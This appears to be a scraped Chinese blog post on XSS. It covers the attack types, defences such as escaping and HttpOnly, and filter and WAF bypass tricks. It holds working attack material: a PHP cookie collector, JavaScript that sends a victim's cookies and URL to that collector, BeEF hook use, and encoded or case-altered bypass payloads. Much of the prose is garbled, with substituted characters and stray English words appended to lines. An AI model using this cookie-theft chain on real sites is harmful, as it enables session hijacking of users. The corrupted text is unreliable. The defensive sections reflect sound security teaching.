XSS防护和绕过1

原理:对用户输入没作过滤和处理,是用户能够输入一些东西(例如js),控制输出达到一些攻击目的javascript

1.DOM型php

 

基于DOM的XSS有时也称为type0XSS。当用户可以经过交互修改浏览器页面中的DOM(DocumentObjectModel)并显示在浏览器上时,就有可能产生这种漏洞,从效果上来讲它也是反射型XSS。主要区别就是没有通过服务器后端处理html

  经过修改页面的DOM节点造成的XSS,称之为DOMBasedXSS。java

  前提是易受攻击的网站有一个HTML页面采用不安全的方式从document.location 或document.URL 或 document.referrer获取数据(或者任何其余攻击者能够修改的对象)。node

简单例子spring

复制代码
 1 <HTML>
 2 <TITLE>Welcome!</TITLE>
 3 Hi
 4 <SCRIPT>
 5 var pos=document.URL.indexOf("name=")+5;
 6 document.write(document.URL.substring(pos,document.URL.length));
 7 </SCRIPT>
 8 <BR>
 9 Welcome to our system
10 …
11 </HTML>
复制代码

这个例子是个欢迎页面,name是截取URL中get过来的name参数sql

正常操做:后端

http://www.vulnerable.site/welcome.html?name=Joe浏览器

非正常操做:安全

http://www.vulnerable.site/welcome.html?name=<script>alert(document.cookie)</script>

  将产生xss条件。让咱们看看为何:受害者的浏览器接收到这个连接,发送HTTP请求到www.vulnerable.site而且接受到上面的HTML页。受害者的浏览器开始解析这个HTML为DOM,DOM包含一个对象叫document,document里面有个URL属性,这个属性里填充着当前页面的URL。当解析器到达javascript代码,它会执行它而且修改你的HTML页面。假若代码中引用了document.URL,那么,这部分字符串将会在解析时嵌入到HTML中,而后当即解析,同时,javascript代码会找到(alert(…))而且在同一个页面执行它,这就产生了xss的条件。

注意:

  1. 恶意程序脚本在任什么时候候不会嵌入处处于天然状态下的HTML页面(这和其余种类的xss不太同样)。

  2.这个攻击只有在当url不是直接在地址栏输入,Mozilla.会自动转换在document.URL中字符<和>(转化为%3C 和 %3E),所以在就不会受到上面示例那样的攻击了,在IE6下没有转换<和>,所以他很容易受到攻击。

  固然,直接嵌入到HTML只是攻击的一个挂载点,有不少脚本不须要依赖<和>漏洞,所以Mozilla一般也是没法阻止这些攻击的。

  【这段出自:http://www.oschina.net/translate/dom-based-xss-of-third-kind

如:<div id="aa">这是内容</div>   ,咱们能够经过  document.getElementById('aa').innerHTML 来获取id为aa的对象的内嵌内容;
也能够对某对象插入内容,如 document.getElementById('abc').innerHTML='这是被插入的内容'; 这样就能向id为abc的对象插入内容。

2 反射型:某url存在xss漏洞,攻击者经过植入xss代码,让受害者访问触发,反射型跨站http://127.0.0.1/xss1.php?name=op<script>alert(1)</script>

3.存储型:某url下的留言本或评论区存在xss漏洞,攻击者经过植入xss代码,让受害者访问触发,存储型跨站。留言板

 与csrf结合的思考,构造带xss的连接请求放在B站上藏匿,受害者访问脆弱的a站,又同时访问B站,渲染B站时或点击、移动鼠标使恶意连接触发,向A站发送请求同时浏览器被攻击者控制,能够任意和A站交互

 

漏洞的发现:手工或这工具扫描AWVS等

awvs注意里面id的位置,手工测试输入,对可控的变量进行测试回显,看浏览器回显的html文档,一边测试一边绕过

 

漏洞的利用:beef或者xss平台、xsser 

把beef的127.0.0.1:3000/hook.js 和xss平台经过各类方式get post等等在浏览器构造,骗取用户打开,利用效果取决于受害者权限,获取cookie、地理位置、劫持浏览器是没有问题的。

注意:

xss平台使用要注意插入闭合</scrpit>"<本身的xss代码>//)

获取到cookie之后能够用啊d也能够用cookietamper等这些修改cooike的插件带着cookie去访问网站。并且要注意访问/admin,不是/admin/login.php

手写获取cookie的js方法:

生成cookie的php:

<?php
$cookie = $_GET['c']; //接受c的参数复制给cookie,为后面作模拟方便
$url= $_GET['u'];     //赋值url
$file = fopen("cookie.html","w+"); //将接受值写入html文件
fwrite($file,"url地址:");
fwrite($file,$url);
fwrite($file,":");
fwrite($file,$cookie);
fwrite($file,"<hr>");
fclose($file);
?>

利用的获取cookie的js代码:

<script>
var cookie=document.cookie; //声明变量获取cookie,赋值给cookie
var url =window.location.href; //js获取url的方法
alert(url);
var c="http://127.0.0.1/cookiexss.php?c=";
//var u="http://127.0.0.1/cookiexss.php?u=";
window.location.href=c+cookie+"&u="+url;//window.location.href打开指定地址http://127.0.0.1/cookiexss.php?c=cookie值&u=url值

</script>

 只要在脆弱站点A植入以上js代码,js经过执行调用的php,生成一个html,里面包含用户在浏览A站的cookie和url

 

 

 

修复

1.在输入点过滤敏感关键字

2.innerHTML=encodeHTML([输出])

a) 全局拦截 (全局过滤器、拦截器),适用于不包含富文本的状况

Servlet的doFilter、Spring的Interceptor类,对全部的访问请求进行监听。正确的姿式是在过滤器中对<>&’”=等字符转义处理,可以使用ESAPI或者common-lang.jar的StringEscapeUtils类或者Spring的HtmlUtils来实现。

b)富文本交互,白名单过滤

ESAPI.validator().getValidSafeHTML(“getValidSafeHTML”, keyword, keyword.length(), true)

白名单:JavaVulnerableLab/vulnerability/xss/xss4.jsp

3.7 XSS防御—Spring MVC

a)项目级过滤

<context-param>
<param-name>defaultHtmlEscape</param-name>
<param-value>true</param-value>
</context-param>

b)页面级过滤

在包含form的jsp页面中添加

<spring:htmlEscape defaultHtmlEscape=”true” />

c)表单元素级过滤

在form元素中添加

<form:form htmlEscape=“true”>或

<form:input path=”someFormField” htmlEscape=”true” />

3.springMVC中的WebBindingInitializer和@InitBinder

  • 将用户所提供的内容输入输出进行过滤。能够运用下面这些函数对出现XSS漏洞的参数进行过滤:
  • PHP的htmlentities()或是htmlspecialchars()
  • Python的cgi.escape()
  • ASP的Server.HTMLEncode()
  • ASP.NET的Server.HtmlEncode()或功能更强的Microsoft Anti-Cross Site Scripting Library
  • Java的xssprotect(Open Source Library)
  • Node.js的node-validator

4.推荐XSS规则过滤引擎:OWASP AntiSamp或者Java HTML Sanitizer

3.HttpOnly
若是在cookie中设置了HttpOnly属性,那么经过javaScript脚本将没法读取到cookie信息,这样能有效的防止XSS攻击,可是注意,只是不能读取,可是能够覆盖,攻击者若是发现网站的XSS漏洞,就能够利用HttpOnly cookie发动session fixation攻击。

 

 

 

绕过:

四种超级基础的绕过方法。 
1.转换为ASCII码 
例子:原脚本为<script>alert(‘I love F4ck’)</script > 
经过转换,变成: 
<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 8216, 73, 32, 108, 111, 118, 101, 32, 70, 52, 99, 107, 8217, 41) </script> 

2.转换为HEX(十六进制) 
例子:原脚本为<script>alert(‘I love F4ck’)</script> 
经过转换,变成: 
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%2018%49%20%6c%6f%76%65%20%46%34%63%6b%2019%29%3c%2f%73%63%72%69%70%74%3e 

 

转换为base64

<META HTTP-EQUIV="refresh"
CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4
K">

能够看到会刷新,刷新时解密base64

3.转换脚本的大小写 
例子:原脚本为<script>alert(‘I love F4ck’)</script> 
转换为:<ScRipt>AleRt(‘I love F4ck’)</sCRipT> 

4.增长闭合标记”> 
例子:原脚本为<script>alert(‘I love F4ck’)</script> 
转换为:”><script>alert(‘I love F4ck’)</script> 

5.变量增长

分红三条语句

 

6.相似

有转义:

payload:

http://www.xiaodi8.com/hack/xss/example7.php?name=1';alert($a);//

闭合变量

 

 过waf:

不论是XSS仍是sql注入等,思路老是同样的,无非几种:

1.关键字打乱

2.替换更改

3.猜分组合

4.编码解码

5.函数调用

相关文章
相关标签/搜索